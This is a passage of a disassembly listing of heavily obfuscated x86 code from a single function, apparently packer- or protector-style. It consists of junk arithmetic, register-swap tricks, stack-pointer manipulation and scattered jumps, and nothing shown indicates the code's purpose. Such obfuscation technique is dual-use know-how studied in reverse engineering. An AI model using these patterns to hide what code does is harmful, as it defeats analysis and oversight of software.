		push	ecx
		mov	ecx, 0B757EC2h
		neg	ecx
		inc	ecx
		shr	ecx, 5
		sub	ecx, 7A45405h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+6Ah+var_6C+2]
		pop	esp
		add	esp, 4
		push	ebp
		jmp	loc_59F977
; ---------------------------------------------------------------------------


loc_5B1412:				; CODE XREF: sub_58A891+1E413j
		push	edi
		push	eax
		mov	eax, 4AE72260h
		sub	eax, 1
		shr	eax, 6
		xor	eax, 12B9C8Dh
		jmp	loc_5ACF17
; ---------------------------------------------------------------------------


loc_5B1429:				; CODE XREF: sub_58A891+1CE34j
		pop	ax
		push	eax
		mov	al, 0F1h
		jmp	loc_5AA558
; ---------------------------------------------------------------------------


loc_5B1433:				; CODE XREF: sub_58A891+160DCj
		xor	esi, 676C21C5h
		or	esi, 6EE94060h
		jg	loc_5AB3E9
		add	esi, 0A354A27Bh
		add	esi, 1
		jmp	loc_5AFB22
; ---------------------------------------------------------------------------


loc_5B1453:				; CODE XREF: sub_58A891+27593j
		jp	loc_5A210E
		shr	eax, 7
		jmp	loc_5A2CAD
; ---------------------------------------------------------------------------


loc_5B1461:				; CODE XREF: sub_58A891+16B72j
		push	[esp+0A6h+var_A6]
		mov	edx, [esp+0AAh+var_AA]
		jmp	loc_5B00A6
; ---------------------------------------------------------------------------


loc_5B146C:				; CODE XREF: sub_58A891+17D41j
		xor	esi, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	1BD4h
		mov	[esp+6+var_8+2], ebp
		push	8CF6EFAh
		pop	ebp
		jmp	loc_5AE461
; ---------------------------------------------------------------------------


loc_5B1485:				; CODE XREF: sub_58A891+1B36Fj
		jbe	loc_5B1C5D
		sub	eax, 12E699BEh
		push	edx
		mov	edx, eax
		jmp	loc_5A04F8
; ---------------------------------------------------------------------------
		mov	bh, 0DEh


loc_5B149A:				; CODE XREF: sub_58A891+1CDA4j
		add	ecx, 0FE88DC81h
		sub	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 30F20E8Eh
		neg	edi
		add	edi, 0CA3040Dh
		and	edi, 1F5B1194h
		jmp	loc_5AEECA
; ---------------------------------------------------------------------------


loc_5B14BC:				; CODE XREF: sub_58A891+23448j
		add	al, 5Ah
		add	al, 8Ah
		push	small 5435h
		mov	word ptr [esp+84h+var_84], dx
		push	ebx
		jmp	loc_5A26E4
; ---------------------------------------------------------------------------


loc_5B14CE:				; CODE XREF: sub_58A891+261CCj
		sub	ebx, 760E11EFh
		sub	ebx, 73D92C34h
		add	ebx, edi
		add	ebx, 73D92C34h
		add	ebx, 760E11EFh
		add	ebx, 6C020253h
		add	ebx, 4E264A9Fh
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebx
		xor	ebx, [esp+12h+var_14+2]
		pop	esp
		bswap	eax
		push	6F20h
		mov	[esp+12h+var_14+2], eax
		jmp	loc_5A7ED7
; ---------------------------------------------------------------------------


loc_5B1519:				; CODE XREF: sub_58A891+26F7Dj
		push	[esp+12h+var_14+2]
		mov	edx, [esp+16h+var_18+2]
		jmp	loc_5AAAFE
; ---------------------------------------------------------------------------


loc_5B1524:				; CODE XREF: sub_58A891+12136j
		sub	esi, edi
		pop	edi
		jmp	loc_5A7CF5
; ---------------------------------------------------------------------------


loc_5B152C:				; CODE XREF: sub_58A891+13F22j
		push	3300h
		mov	[esp+0B2h+var_B2], edi
		jmp	loc_5A95CB
; ---------------------------------------------------------------------------


loc_5B1539:				; CODE XREF: sub_58A891+26EB2j
		add	eax, 2
		xor	eax, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], eax
		xor	eax, [esp+0B2h+var_B2]
		mov	esp, [esp+0B2h+var_B2]
		btr	word ptr [esp+0B2h+var_B2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1553:				; CODE XREF: sub_58A891+20B19j
		push	ebp
		mov	ebp, 673B7319h
		jmp	loc_5AD9EF
; ---------------------------------------------------------------------------


loc_5B155E:				; CODE XREF: sub_58A891+20E25j
		mov	edi, [esp+0A6h+var_A6]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59ECD4
; ---------------------------------------------------------------------------


loc_5B156F:				; CODE XREF: sub_58A891+145C5j
		xor	esi, ebx
		pop	ebx
		inc	esi
		xor	esi, 50CC937Ch
		mov	ebx, esi
		pop	esi
		push	edi
		mov	edi, 19F14464h
		add	edi, 4BC84EEBh
		jmp	loc_5A713B
; ---------------------------------------------------------------------------


loc_5B158D:				; CODE XREF: sub_58A891+131C4j
		mov	ebp, 0BD04F477h
		jmp	loc_5A1915
; ---------------------------------------------------------------------------


loc_5B1597:				; CODE XREF: sub_58A891+27FA0j
		jnz	loc_5ACD64
		sub	esi, 5691C1EFh
		sub	esi, 1
		push	ecx


loc_5B15AA:				; CODE XREF: sub_58A891+2591Cj
		xor	dh, ah
		jmp	loc_5ADEBB
; ---------------------------------------------------------------------------


loc_5B15B1:				; CODE XREF: sub_58A891+199BFj
		add	edi, eax
		push	[esp+1Ah+var_1C+2]
		jmp	loc_5B2171
; ---------------------------------------------------------------------------


loc_5B15BB:				; CODE XREF: sub_58A891+260D7j
		jnz	loc_5B2E9D
		jmp	loc_5ACE0F
; ---------------------------------------------------------------------------
		push	4077h
		mov	[esp+46h+var_48+2], ebx
		push	ecx


loc_5B15CF:				; CODE XREF: sub_58A891:loc_59D616j
		add	esi, 25C521Fh
		jmp	loc_5AA9DF
; ---------------------------------------------------------------------------


loc_5B15DA:				; CODE XREF: sub_58A891+17BD0j
		mov	ecx, edi
		pop	edi
		neg	ecx
		push	esi
		mov	esi, 1CCD083Fh
		sub	ecx, esi
		pop	esi
		add	ecx, 7BB8674Dh
		xor	ecx, 78F30D3Ch
		xor	ecx, 0E5F44110h
		sub	edi, 44AB5829h
		sub	edi, ecx
		jmp	loc_5B25EA
; ---------------------------------------------------------------------------


loc_5B1607:				; CODE XREF: sub_58A891:loc_5ADFB0j
		sub	ebx, 0AAAE3B09h
		add	ebx, 6D1D95D9h
		add	ecx, 1AA10F0h
		sub	ecx, 0E0206D9h
		jmp	loc_5A3D8B
; ---------------------------------------------------------------------------


loc_5B1624:				; CODE XREF: sub_58A891+12C8Bj
		mov	edx, edi
		mov	edi, [esp+2Eh+var_30+2]
		add	esp, 4
		sub	edi, 793C73BBh
		add	edi, edx
		push	ebx
		jmp	loc_5AB1B9
; ---------------------------------------------------------------------------


loc_5B163D:				; CODE XREF: sub_58A891+21C20j
		dec	dl
		jns	loc_5AFC2C
		sub	dl, 80h
		xor	dl, 3Ch
		push	ebx
		mov	bh, dl
		push	ebp


loc_5B164F:				; CODE XREF: sub_58A891+1E76Ej
					; sub_58A891+25D9Bj
		pop	eax
		mov	ebp, esi
		pop	esi
		add	esi, ebp
		mov	ebp, [esp+82h+var_84+2]
		add	esp, 4
		xchg	esi, [esp+7Eh+var_80+2]
		mov	esp, [esp+7Eh+var_80+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+7Eh+var_80+2]
		add	esp, 4
		xor	edx, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], edx
		jmp	loc_5B23E6
; ---------------------------------------------------------------------------


loc_5B1680:				; CODE XREF: sub_58A891+1B94Bj
		mov	ecx, edx
		push	[esp+0A0h+var_A2+2]
		mov	edx, [esp+0A4h+var_A6+2]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0A4h+var_A6+2]
		jmp	loc_59DA5A
; ---------------------------------------------------------------------------


loc_5B16A8:				; CODE XREF: sub_58A891:loc_5A012Dj
		sub	esi, 0F7113C51h
		mov	edi, esi
		pop	esi
		push	eax
		jmp	loc_5A9E7A
; ---------------------------------------------------------------------------


loc_5B16B7:				; CODE XREF: sub_58A891+11D9Fj
		pop	eax
		not	ebx
		add	ebx, 2D4F41B5h
		shl	ebx, 5
		jnp	loc_5A3548
		sub	ebx, 0E883941Ch
		jmp	loc_59CC95
; ---------------------------------------------------------------------------


loc_5B16D4:				; CODE XREF: sub_58A891+24A78j
		add	al, bl
		add	al, 0D6h
		add	al, 3
		add	al, 7Bh
		push	bx
		jmp	loc_59EDC9
; ---------------------------------------------------------------------------


loc_5B16E3:				; CODE XREF: sub_58A891+1F80Dj
		mov	esp, [esp+5Eh+var_60+2]
		add	byte ptr [esp+5Eh+var_60+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B16EF:				; CODE XREF: sub_58A891+1C9C6j
		push	[esp+90h+var_90]
		mov	ebx, [esp+94h+var_94]
		sub	esp, 4
		mov	[esp+98h+var_98], edx
		jmp	loc_5A89AA
; ---------------------------------------------------------------------------


loc_5B1703:				; CODE XREF: sub_58A891+24122j
		add	edi, edx
		pop	edx
		jmp	loc_59C5DB
; ---------------------------------------------------------------------------


loc_5B170B:				; CODE XREF: sub_58A891+2513Dj
		mov	eax, esp
		push	edi
		jmp	loc_5AA701
; ---------------------------------------------------------------------------


loc_5B1713:				; CODE XREF: sub_58A891+1C64Fj
		push	2871h
		mov	[esp+86h+var_88+2], edi
		push	edx
		mov	edx, 2D001846h
		mov	edi, edx
		mov	edx, [esp+8Ah+var_8C+2]
		jmp	loc_5A67DF
; ---------------------------------------------------------------------------


loc_5B172B:				; CODE XREF: sub_58A891+120D1j
		xor	ecx, ebp
		mov	ebp, [esp+0A6h+var_A6]
		add	esp, 4
		add	eax, 63B90D4Bh
		add	eax, ecx
		sub	eax, 63B90D4Bh
		pop	ecx
		jmp	loc_5B1539
; ---------------------------------------------------------------------------


loc_5B1748:				; CODE XREF: sub_58A891+1C6B4j
		sub	ecx, esi
		pop	esi
		jmp	loc_5A0B4B
; ---------------------------------------------------------------------------


loc_5B1750:				; CODE XREF: sub_58A891+22553j
		add	ch, bl
		push	ax
		mov	al, 0BBh
		sub	ch, al
		jmp	loc_5A8A1B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B0h+var_B2+2]
		push	5B73h
		mov	[esp+0B4h+var_B6+2], esi
		jmp	loc_5AFC25
; ---------------------------------------------------------------------------


loc_5B176E:				; CODE XREF: sub_58A891+11A44j
		xor	ebp, 9530F41h
		xor	ebp, 25503E73h
		jmp	loc_5A220C
; ---------------------------------------------------------------------------


loc_5B177F:				; CODE XREF: sub_58A891+16B61j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], edx
		mov	edx, 0
		add	edx, ebx
		mov	[edx], al
		jmp	loc_5AFCD3
; ---------------------------------------------------------------------------


loc_5B17A2:				; CODE XREF: sub_58A891+175C0j
		shl	edi, 5
		not	edi
		and	edi, 1F1250ECh
		or	edi, 1BA43415h
		add	edi, 0FCD4FCFCh
		jmp	loc_5B2DC1
; ---------------------------------------------------------------------------


loc_5B17BE:				; CODE XREF: sub_58A891+1BD44j
		sub	esp, 4
		mov	[esp+0F2h+var_F4+2], eax
		jmp	loc_5B1908
; ---------------------------------------------------------------------------


loc_5B17CC:				; CODE XREF: sub_58A891:loc_5ABB1Dj
		dec	dl
		jns	loc_5ACAF1
		sub	dl, 80h
		xor	dl, 3Ch
		jmp	loc_5A0F51
; ---------------------------------------------------------------------------
		pop	edx


loc_5B17E0:				; CODE XREF: sub_58A891+20C59j
		xchg	edi, [esp+8Ah+var_8C+2]
		pop	esp
		or	eax, eax
		jz	loc_5A6FEB
		push	3A72h
		mov	[esp+8Ah+var_8C+2], edx
		mov	edx, 28h
		add	edx, 60F05F8Ah
		sub	edx, 290921BCh
		jmp	loc_5ACB3A
; ---------------------------------------------------------------------------


loc_5B180A:				; CODE XREF: sub_58A891+18CCBj
		push	[esp+4Eh+var_4C+2]
		jmp	loc_5B1519
; ---------------------------------------------------------------------------


loc_5B1813:				; CODE XREF: sub_58A891+19655j
		push	ebx
		mov	ebx, 328458B1h
		jmp	loc_5AA90D
; ---------------------------------------------------------------------------


loc_5B181E:				; CODE XREF: sub_58A891+18794j
		add	esp, 4
		and	al, dl
		push	[esp+82h+var_84+2]
		push	[esp+86h+var_88+2]
		pop	edx
		push	esi
		jmp	loc_5A8AB1
; ---------------------------------------------------------------------------


loc_5B1833:				; CODE XREF: sub_58A891+15264j
		mov	bh, 0C8h
		sub	bh, 7Eh
		jmp	loc_5AD27D
; ---------------------------------------------------------------------------


loc_5B183D:				; CODE XREF: sub_58A891+1A140j
		dec	ebx
		jmp	loc_59D9B1
; ---------------------------------------------------------------------------


loc_5B1843:				; CODE XREF: sub_58A891+22DF1j
		mov	[esp+1Ah+var_1C+2], ecx
		push	esi
		push	6CD41C71h
		pop	esi
		neg	esi
		jz	loc_5A759D
		shl	esi, 2
		jmp	loc_5ACA62
; ---------------------------------------------------------------------------


loc_5B185D:				; CODE XREF: sub_58A891+274E8j
		push	ebp
		mov	ebp, 487335A0h
		add	esi, ebp
		pop	ebp
		jmp	loc_5AE9EB
; ---------------------------------------------------------------------------


loc_5B186B:				; CODE XREF: sub_58A891+11B5Aj
		push	edi
		add	[esp+0Ah+var_C+2], 0D465AB1h
		pop	esi
		jmp	loc_5ADC8C
; ---------------------------------------------------------------------------


loc_5B1879:				; CODE XREF: sub_58A891+1258Cj
		pop	esp
		push	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B1881:				; CODE XREF: sub_58A891+20C99j
		xor	ecx, 13980D49h
		and	ebp, ecx
		pop	ecx
		shl	ebp, 7
		xor	ebp, 9A088E84h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5AE695
; ---------------------------------------------------------------------------


loc_5B18AE:				; CODE XREF: sub_58A891+1AFADj
		add	esp, [edx+38h]
		push	esi
		push	ebp
		push	15E704EBh
		pop	ebp
		xor	ebp, 7D487B3Bh
		dec	ebp
		jg	loc_5A0F83
		xor	ebp, 227255D3h
		or	al, 0B7h
		push	edi


loc_5B18D0:				; CODE XREF: sub_58A891+16A97j
		pop	esi
		jmp	loc_59EF21
; ---------------------------------------------------------------------------


loc_5B18D6:				; CODE XREF: sub_58A891+1E0F3j
		or	ebp, 2BF45485h
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------


loc_5B18E1:				; CODE XREF: sub_58A891+18D5Bj
		pop	esp
		jmp	loc_5A1ECD
; ---------------------------------------------------------------------------


loc_5B18E7:				; CODE XREF: sub_58A891+21802j
		mov	edi, 4
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A6BFC
; ---------------------------------------------------------------------------


loc_5B18F7:				; CODE XREF: sub_58A891+195B4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59EE22
; ---------------------------------------------------------------------------


loc_5B1908:				; CODE XREF: sub_58A891+1AB64j
					; sub_58A891+26F36j
		push	edi
		mov	edi, 5184A85h
		mov	eax, edi
		pop	edi
		sub	eax, 2F622BA6h
		dec	eax
		add	eax, 35185E54h
		or	eax, 25724505h
		shr	eax, 7
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ebx
		jmp	loc_5B2CB0
; ---------------------------------------------------------------------------


loc_5B1932:				; CODE XREF: sub_58A891+13BB3j
		sub	edi, 25D536C4h
		jmp	loc_5A14BE
; ---------------------------------------------------------------------------


loc_5B193D:				; CODE XREF: sub_58A891+15CA8j
		sub	ebx, 9BFFFF5Ah
		jmp	loc_59F080
; ---------------------------------------------------------------------------


loc_5B1948:				; CODE XREF: sub_58A891+15088j
		push	341Fh
		mov	[esp+56h+var_58+2], eax
		push	5647h
		mov	[esp+5Ah+var_5C+2], edx
		mov	edx, 2CDF4A1Fh
		jmp	loc_5A6DEB
; ---------------------------------------------------------------------------


loc_5B1962:				; CODE XREF: sub_58A891+24525j
		sub	ecx, 52677CF3h
		sub	edx, 20A97F96h
		add	edx, ecx
		add	edx, 20A97F96h
		pop	ecx
		push	edx
		not	[esp+0BAh+var_BA]
		pop	edx
		push	ecx
		push	esi
		push	ebx
		mov	ebx, 24F17BC2h
		mov	esi, ebx
		pop	ebx
		add	esi, 60D679C0h
		sub	esi, 0FBEF6076h
		mov	ecx, esi
		pop	esi
		xor	edx, ecx
		mov	ecx, [esp+0BAh+var_BA]
		add	esp, 4
		sub	ebx, 7A7C50F9h
		jmp	loc_59EAFB
; ---------------------------------------------------------------------------


loc_5B19A9:				; CODE XREF: sub_58A891:loc_5A158Ej
		or	ecx, 522D1F59h
		jns	loc_5B28D9
		shr	ecx, 8
		jnz	loc_59EA85
		dec	ecx
		jmp	loc_5A84B5
; ---------------------------------------------------------------------------
		xchg	ebx, ebp
		xchg	ebp, esi
		pop	esi


loc_5B19C9:				; CODE XREF: sub_58A891+22C66j
		add	esp, 4
		add	eax, 0E4D7D704h
		sub	esi, 51200F9h
		sub	esi, eax
		add	esi, 51200F9h
		pop	eax
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		mov	[esp+96h+var_98+2], eax
		mov	eax, [esp+96h+var_98+2]
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5B19F8:				; CODE XREF: sub_58A891+11B87j
		add	edi, ebx
		pop	ebx
		jmp	loc_5A15A6
; ---------------------------------------------------------------------------


loc_5B1A00:				; CODE XREF: sub_58A891+1CCA6j
		push	2ED5h
		mov	[esp+1Ah+var_1C+2], edx
		push	edi
		jmp	loc_5AB790
; ---------------------------------------------------------------------------


loc_5B1A0E:				; CODE XREF: sub_58A891+20AB5j
		push	671Ch
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 5BB130A0h
		xor	eax, ebp
		pop	ebp
		jmp	loc_5B2AE1
; ---------------------------------------------------------------------------


loc_5B1A23:				; CODE XREF: sub_58A891+14719j
		add	edi, 1
		sub	edi, 9AD1F9BEh
		sub	esp, 4
		jmp	loc_5A0E82
; ---------------------------------------------------------------------------


loc_5B1A37:				; CODE XREF: sub_58A891+11C79j
		mov	eax, 2A602B60h
		add	[esp+46h+var_40+2], 40E06162h
		sub	[esp+46h+var_40+2], eax
		sub	[esp+46h+var_40+2], 40E06162h
		pop	eax
		sub	[esp+42h+var_40+2], 7676B40h
		sub	[esp+42h+var_40+2], ebx
		jmp	loc_5A6B2B
; ---------------------------------------------------------------------------


loc_5B1A62:				; CODE XREF: sub_58A891+20BE4j
		push	7FB4h
		mov	[esp+0B6h+var_B6], ebx
		jmp	loc_5A2BEE
; ---------------------------------------------------------------------------


loc_5B1A6F:				; CODE XREF: sub_58A891+13AF7j
		sub	[esp+36h+var_34+2], edi
		pop	edi
		sub	[esp+32h+var_34+2], 3B9E7553h
		push	1C20h
		mov	[esp+36h+var_38+2], esi
		mov	esi, 67B435E0h
		jmp	loc_5B278B
; ---------------------------------------------------------------------------


loc_5B1A8D:				; CODE XREF: sub_58A891+22000j
		inc	edi
		add	edi, 52980CA4h
		mov	eax, edi
		pop	edi
		push	eax
		mov	eax, 6A6A75EDh
		not	eax
		or	eax, 1AB92D8Fh
		jmp	loc_5A8580
; ---------------------------------------------------------------------------


loc_5B1AA9:				; CODE XREF: sub_58A891+193F1j
		mov	esi, esp
		push	ecx
		mov	ecx, esp
		jmp	loc_5B07E3
; ---------------------------------------------------------------------------


loc_5B1AB3:				; CODE XREF: sub_58A891+16E80j
		mov	word ptr [esp+62h+var_64+2], cx
		jmp	loc_59E8F6
; ---------------------------------------------------------------------------


loc_5B1ABC:				; CODE XREF: sub_58A891+16357j
		xor	ebp, 95F7AC8h
		jmp	loc_5A37A1
; ---------------------------------------------------------------------------


loc_5B1AC7:				; CODE XREF: sub_58A891+19803j
		mov	ecx, 166F5CB9h
		xor	eax, ecx
		push	[esp+64h+var_64]
		push	[esp+68h+var_68]
		pop	ecx
		add	esp, 4
		jmp	loc_59CADF
; ---------------------------------------------------------------------------


loc_5B1AE0:				; CODE XREF: sub_58A891+161FCj
		xor	ch, dl
		pop	edx
		shl	ch, 3
		add	ch, 0C8h
		not	ch
		shl	ch, 7
		not	ch
		jmp	loc_5A39F8
; ---------------------------------------------------------------------------


loc_5B1AF5:				; CODE XREF: sub_58A891:loc_5A6EE5j
					; sub_58A891+1FD48j
		mov	[esp+56h+var_58+2], edi
		jmp	loc_5B0CAE
; ---------------------------------------------------------------------------


loc_5B1AFD:				; CODE XREF: sub_58A891+2694Fj
		xor	eax, 111F563Ah
		push	esi
		push	edx
		push	1CB86157h
		pop	edx
		jmp	loc_59FE61
; ---------------------------------------------------------------------------


loc_5B1B0F:				; CODE XREF: sub_58A891+1467Dj
		push	ebx
		mov	ebx, 0E0D9BCB8h
		push	ebx
		pop	eax
		pop	ebx
		sub	edi, eax
		pop	eax
		jmp	loc_5A3F50
; ---------------------------------------------------------------------------


loc_5B1B20:				; CODE XREF: sub_58A891+242FDj
		or	edx, 61A953DBh
		xor	edx, 8BAB02D0h
		sub	esi, edx
		pop	edx
		not	esi
		xor	esi, 3619CC2h
		mov	ecx, esi
		jmp	loc_5AEA39
; ---------------------------------------------------------------------------


loc_5B1B3E:				; CODE XREF: sub_58A891+240D2j
		sub	ebx, edi
		add	ebx, 7DBA1B29h
		pop	edi
		not	ebx
		xor	ebx, 0AB3FA456h
		add	edi, 5FF2329h
		push	ebp
		mov	ebp, 5EB479E9h
		inc	ebp
		add	ebp, 27FD6F71h
		jmp	loc_5A5324
; ---------------------------------------------------------------------------


loc_5B1B67:				; CODE XREF: sub_58A891+15D9Bj
		mov	[esp+0B6h+var_B6], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5AD198
; ---------------------------------------------------------------------------


loc_5B1B7E:				; CODE XREF: sub_58A891+2441Ej
					; sub_58A891+27B94j
		xor	ebp, 58933419h
		jb	loc_5B24BA
		jmp	loc_5AFF32
; ---------------------------------------------------------------------------


loc_5B1B8F:				; CODE XREF: sub_58A891+13D5Bj
		push	esi
		mov	esi, 327D2F07h
		sub	ebx, esi
		pop	esi
		jmp	loc_5A608C
; ---------------------------------------------------------------------------


loc_5B1B9D:				; CODE XREF: sub_58A891+16375j
		mov	esi, edx
		pop	edx
		and	esi, 6206296Eh
		jo	loc_5B0EBC
		push	edx
		mov	edx, 67DD73C7h
		add	edx, 465BE50Eh
		add	esi, edx
		pop	edx
		mov	ebx, 0EFC49EC1h
		add	ebx, esi
		jmp	loc_5B08E5
; ---------------------------------------------------------------------------


loc_5B1BC7:				; CODE XREF: sub_58A891+2245Bj
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		pop	eax
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		not	eax
		xchg	eax, ecx
		push	4859h
		mov	[esp+78h+var_78], ebx
		mov	ebx, 43012DCEh
		xor	ebx, 48C51B7Dh
		jge	loc_5A7A8E
		xor	ebx, 56726DE6h
		jmp	loc_5AA7E9
; ---------------------------------------------------------------------------


loc_5B1BFB:				; CODE XREF: sub_58A891+1BE90j
		push	6D90h
		mov	[esp+98h+var_98], edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		jmp	loc_5A0FCF
; ---------------------------------------------------------------------------


loc_5B1C10:				; CODE XREF: sub_58A891+2595Aj
		pop	esi
		push	eax
		mov	eax, 6318158Bh
		jmp	loc_5AE728
; ---------------------------------------------------------------------------


loc_5B1C1C:				; CODE XREF: sub_58A891+16CBAj
		add	eax, 4
		push	edx
		jmp	loc_5A6ACA
; ---------------------------------------------------------------------------


loc_5B1C27:				; CODE XREF: sub_58A891+119A8j
		shl	ecx, 8
		shl	ecx, 3
		or	ecx, 42BF74FBh
		jmp	loc_5A2ADE
; ---------------------------------------------------------------------------


loc_5B1C38:				; CODE XREF: sub_58A891+11818j
					; sub_58A891+24097j
		jns	loc_5A1531
		add	ecx, 4DC761A3h
		add	ebx, ecx
		jmp	loc_59E400
; ---------------------------------------------------------------------------


loc_5B1C4B:				; CODE XREF: sub_58A891+14D81j
		sub	[esp+2Ah+var_2C+2], ebp
		pop	ebp
		xchg	ebp, ecx
		push	eax
		jmp	loc_5ACA42
; ---------------------------------------------------------------------------


loc_5B1C57:				; CODE XREF: sub_58A891+1CD17j
		push	edi
		jmp	loc_5AE040
; ---------------------------------------------------------------------------


loc_5B1C5D:				; CODE XREF: sub_58A891:loc_5B1485j
		sub	eax, 12E699BEh
		push	edx
		mov	edx, eax
		jmp	loc_59E3B2
; ---------------------------------------------------------------------------


loc_5B1C6A:				; CODE XREF: sub_58A891+16DC9j
		xor	ebx, 0D924DBD7h
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 27DA1CF1h
		not	ebx
		sub	ebx, 0D825E30Ah
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+56h+var_58+2]
		jmp	loc_5A8B8C
; ---------------------------------------------------------------------------


loc_5B1C8F:				; CODE XREF: sub_58A891+1F07Dj
		mov	eax, 0DF4519F7h
		add	eax, ebx
		pop	ebx
		jmp	loc_59E061
; ---------------------------------------------------------------------------


loc_5B1C9C:				; CODE XREF: sub_58A891+1D65Aj
		inc	bl
		jg	loc_5A43E5
		shl	bl, 5
		jmp	loc_5A2440
; ---------------------------------------------------------------------------
		jmp	loc_5B08A1
; ---------------------------------------------------------------------------


loc_5B1CB1:				; CODE XREF: sub_58A891+14F17j
		add	esp, 4
		xor	ebp, edi
		mov	edi, [esp+3Eh+var_40+2]
		add	esp, 4
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------


loc_5B1CC7:				; CODE XREF: sub_58A891+18595j
		add	esp, 4
		add	eax, 5ABA54A0h
		jmp	loc_5AEFD9
; ---------------------------------------------------------------------------


loc_5B1CD4:				; CODE XREF: sub_58A891+20B69j
		mov	[esp+46h+var_48+2], eax
		xor	[esp+46h+var_48+2], edx
		xor	edx, [esp+46h+var_48+2]
		xor	[esp+46h+var_48+2], edx
		jmp	loc_59EBAC
; ---------------------------------------------------------------------------


loc_5B1CE5:				; CODE XREF: sub_58A891+1EFEEj
		pop	ecx
		add	ecx, 87E39950h
		jmp	loc_5A6B38
; ---------------------------------------------------------------------------


loc_5B1CF1:				; CODE XREF: sub_58A891+249EEj
		or	esi, 44063A8Dh
		shl	esi, 3
		and	esi, 21D50F39h
		jmp	loc_5AD2D3
; ---------------------------------------------------------------------------


loc_5B1D05:				; CODE XREF: sub_58A891+2097Fj
		jnp	loc_59D605
		add	ebx, 0E64BF044h
		mov	ebp, ebx
		push	[esp+0B6h+var_B6]
		pop	ebx
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp+0B2h+var_B2]
		add	esp, 4
		push	7AC2h
		mov	[esp+0B2h+var_B2], edx
		push	edx
		jmp	loc_5A6CC5
; ---------------------------------------------------------------------------


loc_5B1D33:				; CODE XREF: sub_58A891+2397Dj
		shl	bh, 5
		jmp	loc_5AC9EA
; ---------------------------------------------------------------------------


loc_5B1D3B:				; CODE XREF: sub_58A891+21141j
		mov	esi, [esp+0AEh+var_AE]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+0B2h+var_B2]
		jmp	loc_5A4148
; ---------------------------------------------------------------------------


loc_5B1D58:				; CODE XREF: sub_58A891+1EAECj
		add	esp, 4
		mov	dh, ah
		pop	eax
		mov	[edi+eax*4+1], dh
		mov	edx, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_5A9EBD
; ---------------------------------------------------------------------------


loc_5B1D73:				; CODE XREF: sub_58A891+1ADFDj
		add	esp, 4
		jmp	loc_5B185D
; ---------------------------------------------------------------------------


loc_5B1D7E:				; CODE XREF: sub_58A891+1D0C1j
		shl	ecx, 6
		add	ecx, 4B390B81h
		jmp	loc_5A519B
; ---------------------------------------------------------------------------


loc_5B1D8C:				; CODE XREF: sub_58A891+2328Ej
		add	bh, ah
		pop	eax
		pop	edx
		xor	bh, 0CAh
		jmp	loc_5A00B5
; ---------------------------------------------------------------------------


loc_5B1D98:				; CODE XREF: sub_58A891+24162j
		pop	ecx
		sub	esp, 4
		jmp	loc_5A5E7B
; ---------------------------------------------------------------------------


loc_5B1DA1:				; CODE XREF: sub_58A891+13573j
		mov	[esp+22h+var_24+2], eax
		mov	eax, 2791Bh
		and	eax, 75374068h
		push	edi
		mov	edi, 515B5A62h
		and	edi, 3132F68h
		or	edi, 0FC60DC9h
		jmp	loc_5A9EAD
; ---------------------------------------------------------------------------


loc_5B1DC5:				; CODE XREF: sub_58A891+2615Cj
		mov	edx, 72F933B0h
		push	205Ch
		mov	[esp+0B6h+var_B6], esi
		push	ecx
		mov	ecx, 14824BAFh
		push	998487FBh
		pop	esi
		xor	esi, ecx
		pop	ecx
		add	edx, esi
		pop	esi
		add	ebp, 514F0E82h
		add	ebp, edx
		push	ebx
		mov	ebx, 514F0E82h
		sub	ebp, ebx
		pop	ebx
		pop	edx
		jmp	loc_5AA99D
; ---------------------------------------------------------------------------


loc_5B1DFB:				; CODE XREF: sub_58A891+227C7j
		pop	edi
		add	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		push	eax
		jmp	loc_5AD2E7
; ---------------------------------------------------------------------------


loc_5B1E08:				; CODE XREF: sub_58A891+1C38Aj
		add	edx, 3154E6Ch
		shr	edx, 2
		jmp	loc_5A4D30
; ---------------------------------------------------------------------------


